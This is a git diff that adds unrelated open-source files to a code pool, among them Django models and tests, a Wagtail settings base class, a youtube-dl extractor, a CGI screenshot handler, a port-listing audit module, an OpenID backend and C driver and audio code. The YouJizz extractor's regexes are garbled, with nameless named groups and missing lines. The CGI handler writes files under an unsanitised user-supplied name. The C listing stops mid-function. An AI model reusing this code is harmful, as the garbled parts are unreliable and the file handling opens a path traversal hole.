models.DateTimeField(auto_now_add=True) + updated_date = models.DateTimeField(auto_now=True) + + def __unicode__(self): + return '[%s] %s' % (self.id, self.name) + + class Meta: + permissions = ( + ("view_dnc_list", _('can see Do Not Call list')), + ) + db_table = "dnc_list" + verbose_name = _("Do Not Call list") + verbose_name_plural = _("Do Not Call lists") + + def dnc_contacts_count(self): + """This will return a count of the contacts in the dnc""" + return DNCContact.objects.filter(dnc=self.id).count() + dnc_contacts_count.allow_tags = True + dnc_contacts_count.short_description = _('dnc contacts') + + +class DNCContact(models.Model): + """This defines the Do Not Call Contact for each DNC List + + **Attributes**: + + * ``phone_number`` - Phone number + * ``dnc`` - DNC List + + **Relationships**: + + * ``dnc`` - Foreign key relationship to the DNC model. + + **Name of DB table**: dnc_contact + """ + dnc = models.ForeignKey(DNC, null=True, blank=True, + verbose_name=_("Do Not Call List")) + phone_number = models.CharField(max_length=120, db_index=True, null=True, blank=True, + verbose_name=_("phone number")) + + created_date = models.DateTimeField(auto_now_add=True) + updated_date = models.DateTimeField(auto_now=True,) + + def __unicode__(self): + return '[%s] %s' % (self.id, self.phone_number) + + class Meta: + permissions = ( + ("view_dnccontact", _('can see Do Not Call contact')), + ) + db_table = "dnc_contact" + verbose_name = _("Do Not Call contact") + verbose_name_plural = _("Do Not Call contacts") + unique_together = ['dnc', 'phone_number'] diff --git a/pool/shard000/Python/0009005_models.py b/pool/shard000/Python/0009005_models.py new file mode 100644 index 0000000000000000000000000000000000000000..accf8ab6b1c7155526655481d37711e4e71eee14 --- /dev/null +++ b/pool/shard000/Python/0009005_models.py @@ -0,0 +1,118 @@ +from django.db import models + +from wagtail.core.models import Site +from wagtail.core.utils import InvokeViaAttributeShortcut + +from .registry import register_setting + +__all__ = ['BaseSetting', 'register_setting'] + + +class BaseSetting(models.Model): + """ + The abstract base model for settings. Subclasses must be registered using + :func:`~wagtail.contrib.settings.registry.register_setting` + """ + + # Override to fetch ForeignKey values in the same query when + # retrieving settings via for_site() + select_related = None + + site = models.OneToOneField( + Site, unique=True, db_index=True, editable=False, on_delete=models.CASCADE) + + class Meta: + abstract = True + + @classmethod + def base_queryset(cls): + """ + Returns a queryset of objects of this type to use as a base + for calling get_or_create() on. + + You can use the `select_related` attribute on your class to + specify a list of foreign key field names, which the method + will attempt to select additional related-object data for + when the query is executed. + + If your needs are more complex than this, you can override + this method on your custom class. + """ + queryset = cls.objects.all() + if cls.select_related is not None: + queryset = queryset.select_related(*cls.select_related) + return queryset + + @classmethod + def for_site(cls, site): + """ + Get or create an instance of this setting for the site. + """ + queryset = cls.base_queryset() + instance, created = queryset.get_or_create(site=site) + return instance + + @classmethod + def for_request(cls, request): + """ + Get or create an instance of this model for the request, + and cache the result on the request for faster repeat access. + """ + attr_name = cls.get_cache_attr_name() + if hasattr(request, attr_name): + return getattr(request, attr_name) + site = Site.find_for_request(request) + site_settings = cls.for_site(site) + # to allow more efficient page url generation + site_settings._request = request + setattr(request, attr_name, site_settings) + return site_settings + + @classmethod + def get_cache_attr_name(cls): + """ + Returns the name of the attribute that should be used to store + a reference to the fetched/created object on a request. + """ + return "_{}.{}".format( + cls._meta.app_label, cls._meta.model_name + ).lower() + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + # Allows get_page_url() to be invoked using + # `obj.page_url.foreign_key_name` syntax + self.page_url = InvokeViaAttributeShortcut(self, 'get_page_url') + # Per-instance page URL cache + self._page_url_cache = {} + + def get_page_url(self, attribute_name, request=None): + """ + Returns the URL of a page referenced by a foreign key + (or other attribute) matching the name ``attribute_name``. + If the field value is null, or links to something other + than a ``Page`` object, an empty string is returned. + The result is also cached per-object to facilitate + fast repeat access. + + Raises an ``AttributeError`` if the object has no such + field or attribute. + """ + if attribute_name in self._page_url_cache: + return self._page_url_cache[attribute_name] + + if not hasattr(self, attribute_name): + raise AttributeError( + "'{}' object has no attribute '{}'" + .format(self.__class__.__name__, attribute_name) + ) + + page = getattr(self, attribute_name) + + if hasattr(page, 'specific'): + url = page.specific.get_url(getattr(self, '_request', None)) + else: + url = "" + + self._page_url_cache[attribute_name] = url + return url diff --git a/pool/shard000/Python/0009007_youjizz.py b/pool/shard000/Python/0009007_youjizz.py new file mode 100644 index 0000000000000000000000000000000000000000..b86331e3cfa39ec8d3f287e829900b414892beee --- /dev/null +++ b/pool/shard000/Python/0009007_youjizz.py @@ -0,0 +1,71 @@ +from __future__ import unicode_literals + +import re + +from .common import InfoExtractor +from ..utils import ( + ExtractorError, +) + + +class YouJizzIE(InfoExtractor): + _VALID_URL = r'^https?://(?:\w+\.)?youjizz\.com/videos/(?P[^.]+)\.html$' + _TEST = { + 'url': 'http://www.youjizz.com/videos/zeichentrick-1-2189178.html', + 'file': '2189178.flv', + 'md5': '07e15fa469ba384c7693fd246905547c', + 'info_dict': { + "title": "Zeichentrick 1", + "age_limit": 18, + } + } + + def _real_extract(self, url): + mobj = re.match(self._VALID_URL, url) + + video_id = mobj.group('videoid') + + # Get webpage content + webpage = self._download_webpage(url, video_id) + + age_limit = self._rta_search(webpage) + + # Get the video title + video_title = self._html_search_regex(r'(?P.*)', + webpage, 'title').strip() + + # Get the embed page + result = re.search(r'https?://www.youjizz.com/videos/embed/(?P[0-9]+)', webpage) + if result is None: + raise ExtractorError('ERROR: unable to extract embed page') + + embed_page_url = result.group(0).strip() + video_id = result.group('videoid') + + webpage = self._download_webpage(embed_page_url, video_id) + + # Get the video URL + m_playlist = re.search(r'so.addVariable\("playlist", ?"(?P.+?)"\);', webpage) + if m_playlist is not None: + playlist_url = m_playlist.group('playlist') + playlist_page = self._download_webpage(playlist_url, video_id, + 'Downloading playlist page') + m_levels = list(re.finditer(r'[^"]+)"\)\);', + webpage, 'video URL') + + return { + 'id': video_id, + 'url': video_url, + 'title': video_title, + 'ext': 'flv', + 'format': 'flv', + 'player_url': embed_page_url, + 'age_limit': age_limit, + } diff --git a/pool/shard000/Python/0009008_handler.py b/pool/shard000/Python/0009008_handler.py new file mode 100644 index 0000000000000000000000000000000000000000..dde994b153ac463660f699b38cf03f7a9d2e8c34 --- /dev/null +++ b/pool/shard000/Python/0009008_handler.py @@ -0,0 +1,43 @@ +#!/usr/bin/python + +import os +import cgi +import cgitb +try: + from configparser import SafeConfigParser +except ImportError: + from ConfigParser import SafeConfigParser + +cgitb.enable() + +from GrabzIt import GrabzItClient +try: + from configparser import SafeConfigParser +except ImportError: + from ConfigParser import SafeConfigParser + +form = cgi.FieldStorage() + +message = form.getvalue("message") +customId = form.getvalue("customid") +id = form.getvalue("id") +filename = form.getvalue("filename") +format = form.getvalue("format") +targeterror = form.getvalue("targeterror") + +parser = SafeConfigParser() +parser.read('config.ini') + +#Custom id can be used to store user ids or whatever is needed for the later processing of the +#resulting screenshot + +grabzIt = GrabzItClient.GrabzItClient(parser.get('GrabzIt', 'applicationKey'), parser.get('GrabzIt', 'applicationSecret')) +result = grabzIt.GetResult(id) + +if result != None: + #Ensure that the application has the correct rights for this directory. + fo = open(os.path.dirname(os.path.abspath(__file__)) + os.path.sep + "results" + os.sep + filename, "wb") + fo.write(result) + fo.close() + +print ("Content-type: text/html\n\n") diff --git a/pool/shard000/Python/0009010_t_port_mod.py b/pool/shard000/Python/0009010_t_port_mod.py new file mode 100644 index 0000000000000000000000000000000000000000..739888de799c6d7465a97f82690b5c67010b8790 --- /dev/null +++ b/pool/shard000/Python/0009010_t_port_mod.py @@ -0,0 +1,31 @@ +#coding:utf-8 +import commands + +################################### +# +# 测试开放的端口 +# +#################################### + +class TportMod: + global results + results=[] + def setBaseline_main(self,baseline_main): + self.baseline_main=baseline_main + + def start(self): + print "[*] Checking T_port_Mod!!" + try: + results=commands.getoutput("netstat -atnp|awk '{print $4}'|grep '0.0.0.0:' |awk -F: '{print $2}'").split("\n") + except: + pass + + def save(self): + if len(results)>0: + self.baseline_main.xml_result({"mod_id":"37wan-centOS-11","mod_name":"TportMod","status":"1","results":str(results)}) + else: + self.baseline_main.xml_result({"mod_id":"37wan-centOS-11","mod_name":"TportMod","status":"0","results":"null"}) + print "[*] T_port_Mod Finish!" + +def getPluginClass(): + return TportMod \ No newline at end of file diff --git a/pool/shard000/Python/0009012_rsync.py b/pool/shard000/Python/0009012_rsync.py new file mode 100644 index 0000000000000000000000000000000000000000..e6a6308ec4bf27b54bdeb754465faf2953395df5 --- /dev/null +++ b/pool/shard000/Python/0009012_rsync.py @@ -0,0 +1,91 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +################################################################################# +# LAYMAN RSYNC OVERLAY HANDLER +################################################################################# +# File: rsync.py +# +# Handles rsync overlays +# +# Copyright: +# (c) 2005 - 2008 Gunnar Wrobel +# Distributed under the terms of the GNU General Public License v2 +# +# Author(s): +# Gunnar Wrobel +# +''' Rsync overlay support.''' + +from __future__ import unicode_literals + +__version__ = "$Id: rsync.py 236 2006-09-05 20:39:37Z wrobel $" + +#=============================================================================== +# +# Dependencies +# +#------------------------------------------------------------------------------- + +from layman.utils import path, run_command +from layman.overlays.source import OverlaySource, require_supported + +#=============================================================================== +# +# Class RsyncOverlay +# +#------------------------------------------------------------------------------- + +class RsyncOverlay(OverlaySource): + ''' Handles rsync overlays.''' + + type = 'Rsync' + type_key = 'rsync' + + + def __init__(self, parent, config, _location, ignore = 0): + + super(RsyncOverlay, self).__init__(parent, config, + _location, ignore) + self.branch = None + + def add(self, base): + '''Add overlay.''' + + if not self.supported(): + return 1 + + super(RsyncOverlay, self).add(base) + + return self.sync(base) + + def sync(self, base): + '''Sync overlay.''' + + if not self.supported(): + return 1 + + # rsync OPTIONS [-q] SOURCE TARGET + args = ['-rlptDvz', '--progress', '--delete', '--delete-after', + '--timeout=180', '--exclude=distfiles/*', '--exclude=local/*', + '--exclude=packages/*'] + + cfg_opts = self.config["rsync_syncopts"] + target = path([base, self.parent.name]) + + if self.config['quiet']: + args.append('-q') + if len(cfg_opts): + args.extend(cfg_opts.split()) + args.append(self.src + '/') + args.append(target) + + return self.postsync( + run_command(self.config, self.command(), args, cmd=self.type), + cwd=target) + + def supported(self): + '''Overlay type supported?''' + + return require_supported( + [(self.command(), 'rsync', 'net-misc/rsync'),], + self.output.warn) diff --git a/pool/shard000/Python/0009013_joint_attention_train_eval.py b/pool/shard000/Python/0009013_joint_attention_train_eval.py new file mode 100644 index 0000000000000000000000000000000000000000..784f02fb2d07f9277e7dfbc9dba9f87c32e4d5b1 --- /dev/null +++ b/pool/shard000/Python/0009013_joint_attention_train_eval.py @@ -0,0 +1,109 @@ +# coding=utf-8 +# Copyright 2022 The Google Research Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +r"""Train and Eval multi-agent PPO for multi-agent gridworld. + +Each agent learns an independent policy. + +Note: this code always assumes the network has an RNN to track other agents' +state. + +To run: + +```bash tensorboard.sh --port=2222 --logdir /tmp/multigrid/ppo/ + +python -m multiagent_train_eval.py --root_dir=/tmp/multigrid/ppo/ +``` +""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import functools + +from absl import app +from absl import flags +from absl import logging +import gin + +from tf_agents.system import system_multiprocessing +# Import needed to trigger env registration, so pylint: disable=unused-import +from social_rl import gym_multigrid +from social_rl.multiagent_tfagents import football_gym_env +from social_rl.multiagent_tfagents import multiagent_gym_suite +from social_rl.multiagent_tfagents import multiagent_metrics +from social_rl.multiagent_tfagents import multiagent_ppo +from social_rl.multiagent_tfagents import multiagent_train_eval +from social_rl.multiagent_tfagents import utils +from social_rl.multiagent_tfagents.joint_attention import attention_ppo_agent + +FLAGS = flags.FLAGS + +flags.DEFINE_string('attention_bonus_type', 'kld', + 'Method for computing attention bonuses.') +flags.DEFINE_float('bonus_ratio', 0.00, 'Final multiplier for bonus rewards.') +flags.DEFINE_integer('bonus_timescale', int(1e6), + 'Attention bonuses scale linearly until this point.') + + +def main(_): + logging.set_verbosity(logging.INFO) + + agent_class = functools.partial( + attention_ppo_agent.MultiagentAttentionPPO, + attention_bonus_type=FLAGS.attention_bonus_type, + bonus_ratio=FLAGS.bonus_ratio, + bonus_timescale=FLAGS.bonus_timescale + ) + + if 'academy' in FLAGS.env_name: + env_load_fn = football_gym_env.load + gin.bind_parameter('construct_attention_networks.use_stacks', True) + gin.bind_parameter('AttentionMultiagentPPOPolicy.use_stacks', True) + else: + env_load_fn = multiagent_gym_suite.load + + multiagent_train_eval.train_eval( + FLAGS.root_dir, + env_load_fn=env_load_fn, + agent_class=agent_class, + env_name=FLAGS.env_name, + num_environment_steps=FLAGS.num_environment_steps, + collect_episodes_per_iteration=FLAGS.collect_episodes_per_iteration, + num_parallel_environments=FLAGS.num_parallel_environments, + replay_buffer_capacity=FLAGS.replay_buffer_capacity, + num_epochs=FLAGS.num_epochs, + num_eval_episodes=FLAGS.num_eval_episodes, + train_checkpoint_interval=FLAGS.train_checkpoint_interval, + policy_checkpoint_interval=FLAGS.policy_checkpoint_interval, + log_interval=FLAGS.log_interval, + summary_interval=FLAGS.summary_interval, + actor_fc_layers=(FLAGS.actor_fc_layers_size, FLAGS.actor_fc_layers_size), + value_fc_layers=(FLAGS.value_fc_layers_size, FLAGS.value_fc_layers_size), + lstm_size=(FLAGS.lstm_size,), + conv_filters=FLAGS.conv_filters, + conv_kernel=FLAGS.conv_kernel, + direction_fc=FLAGS.direction_fc, + debug=FLAGS.debug, + inactive_agent_ids=tuple(), + random_seed=FLAGS.random_seed, + reinit_checkpoint_dir=FLAGS.reinit_checkpoint_dir, + use_attention_networks=True) + + +if __name__ == '__main__': + flags.mark_flag_as_required('root_dir') + system_multiprocessing.handle_main(lambda _: app.run(main)) diff --git a/pool/shard000/Python/0009014_test_models.py b/pool/shard000/Python/0009014_test_models.py new file mode 100644 index 0000000000000000000000000000000000000000..9e4c757a2c425b86ac312b2c0f1b3cb7df4f9e9f --- /dev/null +++ b/pool/shard000/Python/0009014_test_models.py @@ -0,0 +1,78 @@ +import os +import shutil + +from django.conf import settings +from django.test import TestCase +from django.conf import settings + +from PIL import Image as Image_ + +from .utils import ( + create_img_file, + create_doc_file, + create_attachments_img, + create_attachments_doc) + +from ..models import Image, Document + + +class AttachmentsModelTest(TestCase): + + def setUp(self): + + if not os.path.exists(settings.MEDIA_ROOT): + os.mkdir(settings.MEDIA_ROOT) + + create_img_file() + create_doc_file() + + self.img = create_attachments_img('test.jpg') + self.doc = create_attachments_doc('test.txt') + + + def tearDown(self): + shutil.rmtree(settings.MEDIA_ROOT, ignore_errors=True) + + + def test_is_image(self): + self.assertTrue(self.img, Image) + + + def test_image_str(self): + self.assertEqual( + self.img.__str__(), + 'attachments/images/test.jpg') + + + def test_image_filename(self): + self.assertEqual( + self.img.filename, + 'test.jpg') + + + def test_image_path(self): + self.assertEqual( + self.img.path, + 'attachments/images/test.jpg') + + + def test_is_document(self): + self.assertTrue(self.doc, Document) + + + def test_document_str(self): + self.assertEqual( + self.doc.__str__(), + 'attachments/documents/test.txt') + + + def test_document_filename(self): + self.assertEqual( + self.doc.filename, + 'test.txt') + + + def test_document_path(self): + self.assertEqual( + self.doc.path, + 'attachments/documents/test.txt') \ No newline at end of file diff --git a/pool/shard000/Python/0009019_auth.py b/pool/shard000/Python/0009019_auth.py new file mode 100644 index 0000000000000000000000000000000000000000..5b6002ec44ae42cc4b4c3f37039badfcb7e27f2b --- /dev/null +++ b/pool/shard000/Python/0009019_auth.py @@ -0,0 +1,292 @@ +# django-openid-auth - OpenID integration for django.contrib.auth +# +# Copyright (C) 2013 CZ.NIC +# Copyright (C) 2008-2013 Canonical Ltd. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + +"""OpenID authentication""" + +from __future__ import unicode_literals + +from django.conf import settings +from django.core.exceptions import ValidationError +from django.contrib.auth import get_user_model +from django.utils.translation import ugettext_lazy as _ + +from openid.consumer.consumer import SUCCESS +from openid.extensions import ax + +from django_mojeid.exceptions import ( + IdentityAlreadyClaimed, + DuplicateUserViolation, +) +from django_mojeid.mojeid import get_attributes +from django_mojeid.attribute_handlers import call_handler + + +class OpenIDBackend: + """A backend that authenticates the user based on an OpenID response.""" + + supports_object_permissions = False + supports_anonymous_user = True + + @classmethod + def get_user_from_request(cls, request): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + if not hasattr(request, 'user') or not hasattr(request.user, 'is_authenticated'): + return None + return request.user if request.user.is_authenticated() else None + + @classmethod + def is_user_active(cls, user): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + return user.is_active if user else False + + @classmethod + def is_user_authenticated(cls, user): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + return user.is_authenticated() if user else False + + @classmethod + def is_user_associated_with_openid(cls, user): + if not user: + return False + from django_mojeid.models import UserOpenID + return UserOpenID.objects.filter(user_id=user.pk).exists() + + @classmethod + def get_user_association(cls, user): + from django_mojeid.models import UserOpenID + if not user: + return None + try: + association = UserOpenID.objects.get(user_id=user.pk) + except UserOpenID.DoesNotExist: + association = None + + return association + + @classmethod + def get_redirect_to(cls, request): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + return request.REQUEST.get(cls.get_redirect_field_name(), '') + + @classmethod + def get_redirect_field_name(cls): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + from django.contrib.auth import REDIRECT_FIELD_NAME + return REDIRECT_FIELD_NAME + + @staticmethod + def authenticate_using_all_backends(**credentials): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + from django.contrib.auth import authenticate + return authenticate(**credentials) + + @classmethod + def associate_user_with_session(cls, request, user): + """This method can be overwritten to implement custom user/session mechanizms + currently it uses standard django.contrib.auth""" + from django.contrib.auth import login as auth_login + + # skip when the user is not authenticated (=AnonymousUser) + if not user or not user.is_authenticated(): + return + + # Set backend if it is not set + if not hasattr(user, 'backend'): + setattr(user, 'backend', 'django_mojeid.auth.OpenIDBackend') + + auth_login(request, user) + + def authenticate(self, **kwargs): + """Authenticate the user based on an OpenID response.""" + # Require that the OpenID response be passed in as a keyword + # argument, to make sure we don't match the username/password + # calling conventions of authenticate. + + from django_mojeid.models import UserOpenID + + openid_response = kwargs.get('openid_response') + if openid_response is None: + return None + + attribute_set = kwargs.get('attribute_set', 'default') + + if openid_response.status != SUCCESS: + return None + + user = None + new_user = False + try: + user_openid = UserOpenID.objects.get( + claimed_id__exact=openid_response.identity_url) + except UserOpenID.DoesNotExist: + if getattr(settings, 'OPENID_CREATE_USERS', False): + user = self.create_user_from_openid(openid_response, attribute_set) + new_user = True + else: + user_model = get_user_model() + try: + user = user_model.objects.get(pk=user_openid.user_id) + except user_model.DoesNotExist: + user = None + + if user is None: + return None + + if not new_user: + self.update_user_from_openid(user.pk, openid_response, attribute_set) + + # Run custom Attribute handler + OpenIDBackend.run_handlers(openid_response, user, attribute_set) + + return user + + @staticmethod + def get_model_changes(openid_response, only_updatable=False, + attribute_set='default'): + + attributes = [x for x in get_attributes(attribute_set) + if x.type in ['attribute', 'internal']] + + fetch_response = ax.FetchResponse.fromSuccessResponse(openid_response) + + res = {} + + # filter remove non-updatable attributes + if only_updatable: + attributes = [x for x in attributes if x.updatable] + + for attribute in attributes: + if attribute.model not in res: + res[attribute.model] = {'user_id_field_name': attribute.user_id_field_name} + val = attribute.get_value(fetch_response, attribute.required, + openid_response=openid_response) + + if val is not None: + res[attribute.model][attribute.modelAttribute] = val + + return res + + @staticmethod + def run_handlers(openid_response, user, attribute_set='default'): + handlers = [x for x in get_attributes(attribute_set) if x.type == 'handler'] + + if not handlers: + return + + fetch_response = ax.FetchResponse.fromSuccessResponse(openid_response) + + for handler in handlers: + val = handler.attribute.get_value(fetch_response, handler.required, openid_response) + call_handler(handler.name, user, val) + + def create_user_from_openid(self, openid_response, attribute_set='default'): + changes = OpenIDBackend.get_model_changes(openid_response, attribute_set=attribute_set) + + user_model = get_user_model() + + # Id will be generated no need to set this field + del changes[user_model]['user_id_field_name'] + + # Create the main user structure + user = user_model(**changes[user_model]) + try: + user.validate_unique() + except ValidationError as e: + raise DuplicateUserViolation(", ".join(e.messages)) + user.save() + + # User created remove it from the dict + del changes[user_model] + + # Create other structures + for model, kwargs in changes.items(): + foreign_key_name = kwargs['user_id_field_name'] + del kwargs['user_id_field_name'] + kwargs[foreign_key_name] = user.pk + m = model(**kwargs) + m.save() + + OpenIDBackend.associate_openid_response(user, openid_response) + + return user + + @classmethod + def update_user_from_openid(cls, user_id, openid_response, attribute_set='default'): + changes = OpenIDBackend.get_model_changes(openid_response, only_updatable=True, + attribute_set=attribute_set) + + for model, kwargs in changes.items(): + foreign_key_name = kwargs['user_id_field_name'] + del kwargs['user_id_field_name'] + model.objects.filter(**{foreign_key_name: user_id}).update(**kwargs) + + return changes + + @staticmethod + def associate_openid_response(user, openid_response): + """Associate an OpenID request with a user account.""" + # Check to see if this OpenID has already been claimed. + return OpenIDBackend.associate_openid(user, openid_response.identity_url) + + @staticmethod + def associate_openid(user, claimed_id): + """Associate an OpenID with a user account.""" + + from django_mojeid.models import UserOpenID + + # Check to see if this OpenID has already been claimed. + try: + user_openid = UserOpenID.objects.get( + claimed_id__exact=claimed_id) + except UserOpenID.DoesNotExist: + user_openid = UserOpenID( + user_id=user.pk, + claimed_id=claimed_id) + user_openid.save() + else: + if user_openid.user_id != user.pk: + raise IdentityAlreadyClaimed( + _("The identity %s has already been claimed") + % claimed_id) + + return user_openid + + @classmethod + def get_user(cls, user_id): + try: + user_model = get_user_model() + return user_model.objects.get(pk=user_id) + except user_model.DoesNotExist: + return None diff --git a/pool/shard001/C/0021792_open_dev.c b/pool/shard001/C/0021792_open_dev.c new file mode 100644 index 0000000000000000000000000000000000000000..a395ff9a84006b1940395db513e833fe0845f829 --- /dev/null +++ b/pool/shard001/C/0021792_open_dev.c @@ -0,0 +1,84 @@ +#include"header.h" +#include"declarations.h" + +int open_dev(struct inode *inodep, struct file *filep) +{ + struct ScullDev *lsculldev; + #ifdef DEBUG + printk(KERN_INFO "START: %s \n",__func__); + #endif + lsculldev = (struct ScullDev*)&sculldev[0]; + if(!sculldev) { + printk(KERN_ERR "sculldev not allocated"); + goto ERR; + } + + lsculldev = container_of(inodep->i_cdev, struct ScullDev, c_dev); + if (!lsculldev) { + printk(KERN_ERR "container of failed\n"); + goto ERR; + } + + filep->private_data = lsculldev; + if(down_interruptible(&lsculldev->sem)) + return -ERESTARTSYS; + + lsculldev->qset = create_scull(num_regs); + if (!lsculldev->qset) { + printk(KERN_ERR "error in creating scull\n"); + goto SEM_UP; + } + up(&lsculldev->sem); + #ifdef DEBUG + printk(KERN_INFO "END: %s \n",__func__); + #endif + return 0; +SEM_UP: + up(&lsculldev->sem); +ERR: + return -1; +} + + +int trim_dev(struct ScullDev *lsculldev) +{ + struct ScullQset *lqset; + struct ScullQset *next = NULL; + int i; + + #ifdef DEBUG + printk(KERN_INFO "START: %s \n",__func__); + #endif + if (!lsculldev) { + printk(KERN_ERR "no device found!\n"); + goto ERR; + } + + if (!lsculldev->qset) { + #ifdef DEBUG + printk(KERN_INFO "no qset found.\n"); + #endif + goto RET; + } + + lqset = lsculldev->qset; + for (lqset = lsculldev->qset; lqset; lqset = next) { + if (lqset->data) { + for (i = 0; i < qset_size ; i++) + kfree(lqset->data[i]); + kfree(lqset->data); + lqset->data = NULL; + } + next = lqset->next; + kfree(lqset); + } + lsculldev->qset = NULL; + lsculldev->data_size = 0; + #ifdef DEBUG + printk(KERN_INFO "END: %s \n",__func__); + #endif +RET: + return 0; +ERR: + return -1; +} diff --git a/pool/shard001/C/0021793_backbuf.c b/pool/shard001/C/0021793_backbuf.c new file mode 100644 index 0000000000000000000000000000000000000000..4b35ffe354624dec7e799f14e32242021d45e517 --- /dev/null +++ b/pool/shard001/C/0021793_backbuf.c @@ -0,0 +1,132 @@ +/* + * GNUitar + * Backbuf - circular buffer for delay + * Copyright (C) 2000,2001,2003 Max Rudensky + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * $Id$ + * + * $Log$ + * Revision 1.12 2006/08/10 18:52:07 alankila + * - declare prototypes properly + * - hide some accidentally global methods + * + * Revision 1.11 2006/08/10 16:18:36 alankila + * - improve const correctness and make gnuitar compile cleanly under + * increasingly pedantic warning models. + * + * Revision 1.10 2006/08/06 20:14:54 alankila + * - split pump.h into several domain-specific headers to reduce file + * interdependencies (everyone included pump.h). New files are: + * - effect.h for effect definitions + * - audio-driver.h for work relating to audio drivers + * - audio-midi.h for MIDI interaction. + * + * Revision 1.9 2005/09/16 20:40:18 alankila + * - increase backbuf performance by allocating to nearest exponent of 2 + * + * Revision 1.8 2005/09/01 14:09:56 alankila + * - multichannel work: delay independent of nchannels; uses backbuf instead + * of doing it all on its own. Also fixes bugs with delay load/save. + * + * Revision 1.7 2005/09/01 13:36:23 alankila + * Objectify backbuf, correct naming and make it a typedef. + * + * Revision 1.6 2005/08/10 18:37:54 alankila + * - add function for fetching interpolated samples + * + * Revision 1.5 2003/02/03 11:39:25 fonin + * Copyright year changed. + * + * Revision 1.4 2003/01/29 19:34:00 fonin + * Win32 port. + * + * Revision 1.3 2001/06/02 14:05:59 fonin + * Added GNU disclaimer. + * + * Revision 1.2 2001/03/25 12:10:49 fonin + * Effect window control ignores delete event. + * + * Revision 1.1.1.1 2001/01/11 13:21:06 fonin + * Version 0.1.0 Release 1 beta + * + */ + +#include + +#include +#include +#include + +static void +backbuf_add(Backbuf_t *b, const BUF_TYPE d) +{ + b->curpos += 1; + b->storage[b->curpos & b->mask] = d; +} + +static BUF_TYPE +backbuf_get(Backbuf_t *b, const unsigned int delay) +{ + assert(delay < b->nstor); + return b->storage[(b->curpos - delay) & b->mask]; +} + +/* XXX optimize this a bit */ +static BUF_TYPE +backbuf_get_interpolated(Backbuf_t *b, float delay) +{ + unsigned int delay_int = delay; + unsigned int getpos; + + delay -= delay_int; + getpos = b->curpos - delay_int; + return b->storage[getpos & b->mask] * (1 - delay) + b->storage[(getpos - 1) & b->mask] * delay; +} + +static void +backbuf_clear(Backbuf_t *b) +{ + memset(b->storage, 0, (b->mask + 1) * sizeof(b->storage[0])); +} + +Backbuf_t * +new_Backbuf(const unsigned int max_delay) +{ + unsigned int size; + + Backbuf_t *b = calloc(1, sizeof(Backbuf_t)); + + b->nstor = max_delay + 1; + size = 1; + while (size < b->nstor) + size <<= 1; + b->storage = calloc(size, sizeof(BUF_TYPE)); + b->mask = size - 1; + b->curpos = 0; + b->add = backbuf_add; + b->get = backbuf_get; + b->get_interpolated = backbuf_get_interpolated; + b->clear = backbuf_clear; + return b; +} + +void +del_Backbuf(Backbuf_t *b) +{ + free(b->storage); + free(b); +} diff --git a/pool/shard001/C/0021833_ConfHeaderExtensions.c b/pool/shard001/C/0021833_ConfHeaderExtensions.c new file mode 100644 index 0000000000000000000000000000000000000000..a9345bf5f839782bdbb87d233a50bfffb876c460 --- /dev/null +++ b/pool/shard001/C/0021833_ConfHeaderExtensions.c @@ -0,0 +1,163 @@ +#include +#include +#include +#include +#include +#include "NiKomStr.h" +#include "NiKomFuncs.h" +#include "Logging.h" + +#include "ConfHeaderExtensions.h" + +struct MemHeaderExtension *CreateMemHeaderExtension(long textId) { + struct MemHeaderExtension *res; + + if(!(res = AllocMem(sizeof(struct MemHeaderExtension), MEMF_CLEAR | MEMF_PUBLIC))) { + return NULL; + } + res->textId = textId; + NewList((struct List *)&res->nodes); + res->notInHeaderYet = 1; +} + +void DeleteMemHeaderExtension(struct MemHeaderExtension *ext) { + struct MemHeaderExtensionNode *node; + while(node = (struct MemHeaderExtensionNode *)RemHead((struct List *)&ext->nodes)) { + 